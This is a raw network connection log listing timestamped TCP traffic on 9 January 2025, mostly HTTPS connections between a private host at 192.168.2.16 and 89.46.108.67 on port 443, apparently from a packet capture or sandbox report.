Jan 9, 2025 13:19:18.683162928 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.683176994 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.770140886 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.770529985 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.770545959 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.772037983 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.772099018 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.772419930 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.772511959 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.772670984 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:18.772680998 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:18.813472986 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.133413076 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.133445978 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.133512974 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.133522034 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.134435892 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.134490967 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.135857105 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.135867119 CET	443	49764	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.135905981 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.135925055 CET	49764	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.138341904 CET	49770	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.138406992 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.138474941 CET	49770	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.139117956 CET	49770	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.139132977 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.152311087 CET	443	49765	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.152597904 CET	49765	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.152610064 CET	443	49765	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.152911901 CET	443	49765	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.153239965 CET	49765	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.153300047 CET	443	49765	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.153386116 CET	49765	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.177158117 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.177391052 CET	49766	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.177397966 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.177683115 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.177978039 CET	49766	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.178020954 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.178112030 CET	49766	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.192411900 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.192692995 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.192704916 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.195332050 CET	443	49765	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.196244001 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.196340084 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.196630955 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.196763039 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.196768999 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.196808100 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.219326973 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.242291927 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.242577076 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.242604017 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.243495941 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.243571043 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.244069099 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.244124889 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.244322062 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.244330883 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.245480061 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.245493889 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.293473959 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.293473005 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.488483906 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.488806963 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.488823891 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.492357969 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.492444038 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.492777109 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.492935896 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.492940903 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.515578032 CET	443	49765	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.516230106 CET	443	49765	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.516295910 CET	49765	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.516757011 CET	49765	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.516777039 CET	443	49765	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.517556906 CET	49771	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.517585993 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.517657995 CET	49771	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.518186092 CET	49771	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.518193007 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.531467915 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.531487942 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.531557083 CET	49766	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.531564951 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.532242060 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.532252073 CET	49766	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.532258987 CET	443	49766	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.532294989 CET	49766	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.532320023 CET	49766	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.532457113 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.532469034 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.532758951 CET	49772	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.532789946 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.532846928 CET	49772	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.534317970 CET	49772	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.534332991 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.540921926 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.540991068 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.541012049 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.541057110 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.541073084 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.541100979 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.541117907 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.541124105 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.541196108 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.541244984 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.541649103 CET	49767	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.541656971 CET	443	49767	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.542092085 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.542135954 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.542197943 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.542565107 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.542581081 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.577254057 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.577280045 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.577346087 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.577370882 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.577464104 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.577600002 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.577740908 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.577794075 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.578193903 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.578208923 CET	443	49768	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.578217983 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.578254938 CET	49768	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.578645945 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.578680992 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.578736067 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.579180956 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.579191923 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.580466986 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.829339027 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.829408884 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.829473019 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.829483032 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.829534054 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.829864025 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.829992056 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.830048084 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.830310106 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.830318928 CET	443	49769	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.830329895 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.830374002 CET	49769	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.831017971 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.831059933 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.831170082 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.831638098 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.831656933 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.845364094 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.845653057 CET	49770	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.845674038 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.846774101 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.847057104 CET	49770	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.847198963 CET	49770	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:19.847203970 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.847225904 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:19.899468899 CET	49770	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.186021090 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.186048985 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.186055899 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.186125994 CET	49770	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.186136961 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.186184883 CET	49770	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.187424898 CET	49770	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.187458992 CET	443	49770	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.187766075 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.187798023 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.187880993 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.188255072 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.188267946 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.264682055 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.264996052 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.265022039 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.266273022 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.266366005 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.266832113 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.266899109 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.267009974 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.267030001 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.295979977 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.296331882 CET	49772	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.296394110 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.296737909 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.297055960 CET	49772	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.297132969 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.297254086 CET	49772	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.306549072 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.307010889 CET	49771	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.307032108 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.307293892 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.307719946 CET	49771	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.307761908 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.307940006 CET	49771	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.314486027 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.339338064 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.351325035 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.550910950 CET	49680	80	192.168.2.16	192.229.211.108
Jan 9, 2025 13:19:20.552547932 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.552957058 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.552983999 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.554084063 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.554517031 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.554692984 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.554721117 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.598459959 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.598483086 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.614459038 CET	49678	443	192.168.2.16	20.189.173.10
Jan 9, 2025 13:19:20.634053946 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.634080887 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.634150028 CET	49772	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.634165049 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.634387970 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.635241985 CET	49772	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.635250092 CET	443	49772	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.635267019 CET	49772	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.635283947 CET	49772	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.635293007 CET	49772	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.635754108 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.635792971 CET	49777	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.635828972 CET	443	49777	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.635909081 CET	49777	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.636267900 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.636281013 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.636629105 CET	49777	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.636645079 CET	443	49777	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.637285948 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.637350082 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.637758017 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.637830973 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.637945890 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.652529955 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.652549982 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.652612925 CET	49771	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.652627945 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.653134108 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.653197050 CET	49771	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.653490067 CET	49771	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.653501034 CET	443	49771	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.653510094 CET	49771	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.653556108 CET	49771	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.653976917 CET	49778	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.653997898 CET	443	49778	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.654192924 CET	49778	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.654619932 CET	49778	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.654632092 CET	443	49778	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.677484035 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.677510977 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.723361015 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.723380089 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.723387957 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.723402023 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.723448992 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.723473072 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.723485947 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.723511934 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.723541021 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.724419117 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.724452019 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.724478960 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.724484921 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.724503040 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.724512100 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.724519968 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.724561930 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.725372076 CET	49774	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.725382090 CET	443	49774	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.725836992 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.725881100 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.725936890 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.726751089 CET	49779	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.726766109 CET	443	49779	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.852483988 CET	49680	80	192.168.2.16	192.229.211.108
Jan 9, 2025 13:19:20.895080090 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.895392895 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.895421028 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.895756960 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.896109104 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.896176100 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:20.896266937 CET	49776	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:20.939335108 CET	443	49776	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.004601955 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.004667044 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.004688978 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.004729033 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.004731894 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.004764080 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.004781961 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.004789114 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.004811049 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.004844904 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.005568027 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.005619049 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.005650043 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.005662918 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.005680084 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.026571989 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.026628017 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.026668072 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.026674032 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.026706934 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.026717901 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.026876926 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.026969910 CET	49773	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.026987076 CET	443	49773	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.027482033 CET	49780	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.027506113 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.027693987 CET	49780	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.028042078 CET	49780	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.028055906 CET	443	49780	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.172275066 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.172297955 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.172379017 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.172390938 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.172566891 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.172743082 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.172804117 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.172864914 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.173589945 CET	49775	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.173602104 CET	443	49775	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.174092054 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.174132109 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.175647974 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.175934076 CET	49781	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.175946951 CET	443	49781	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.336433887 CET	443	49777	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.336736917 CET	49777	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.336749077 CET	443	49777	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.337060928 CET	443	49777	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.337354898 CET	49777	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.337460995 CET	443	49777	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.337521076 CET	49777	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.339518070 CET	443	49778	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.339750051 CET	49778	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.339760065 CET	443	49778	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.340099096 CET	443	49778	89.46.108.67	192.168.2.16
Jan 9, 2025 13:19:21.340399981 CET	49778	443	192.168.2.16	89.46.108.67
Jan 9, 2025 13:19:21.340485096 CET	443	49778	89.46.108.67	192.168.2.16
